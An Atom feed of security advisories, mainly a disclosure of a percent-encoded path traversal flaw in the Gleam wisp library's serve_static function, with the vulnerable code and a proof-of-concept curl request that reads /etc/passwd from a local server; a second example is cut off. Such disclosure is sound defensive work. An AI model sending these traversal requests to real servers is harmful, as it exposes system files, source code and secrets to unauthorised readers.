<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-07T03:02:40.856723+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-280436</id>
    <title>EUVD-2026-280436</title>
    <updated>2026-10-07T03:02:40.902888+00:00</updated>
    <content>EUVD-2026-280436</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-280436"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2026-28807</id>
    <title>fkie_cve-2026-28807</title>
    <updated>2026-10-07T03:02:40.902926+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.</p>
<p>The wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.</p>
<p>An unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.</p>
<p>This issue affects wisp: from 2.1.1 before 2.2.1.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2026-28807"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-h7cj-j2vv-qw8r</id>
    <title>GHSA-h7cj-j2vv-qw8r — Wisp Vulnerable to Path Traversal</title>
    <updated>2026-10-07T03:02:40.902965+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Hex: wisp</p>
<p>### Summary</p>
<p>`wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.</p>
<p>### Details</p>
<p>In `src/wisp.gleam`, `serve_static` processes the request path in this order:</p>
<p>```gleam
let path =
  path
  |&gt; string.drop_start(string.length(prefix))
  |&gt; string.replace(each: "..", with: "")   // Step 1: sanitize
  |&gt; filepath.join(directory, _)</p>
<p>let path = case uri.percent_decode(path) {  // Step 2: decode
  Ok(p) -&gt; p
  Error(_) -&gt; path
}
```</p>
<p>Sanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read.</p>
<p>### PoC</p>
<p>Any application using `wisp.serve_static`:</p>
<p>```gleam
fn handle_request(req: wisp.Request) -&gt; wisp.Response {
  use &lt;- wisp.serve_static(req, under: "/static", from: priv_directory())
  wisp.not_found()
}
```</p>
<p>Exploit (requires `--path-as-is` to prevent client-side normalization):</p>
<p>```bash
# Read /etc/passwd
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"</p>
<p># Read project source code
curl -s --path-as-is \
  "h…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-h7cj-j2vv-qw8r"/>
  </entry>
</feed>
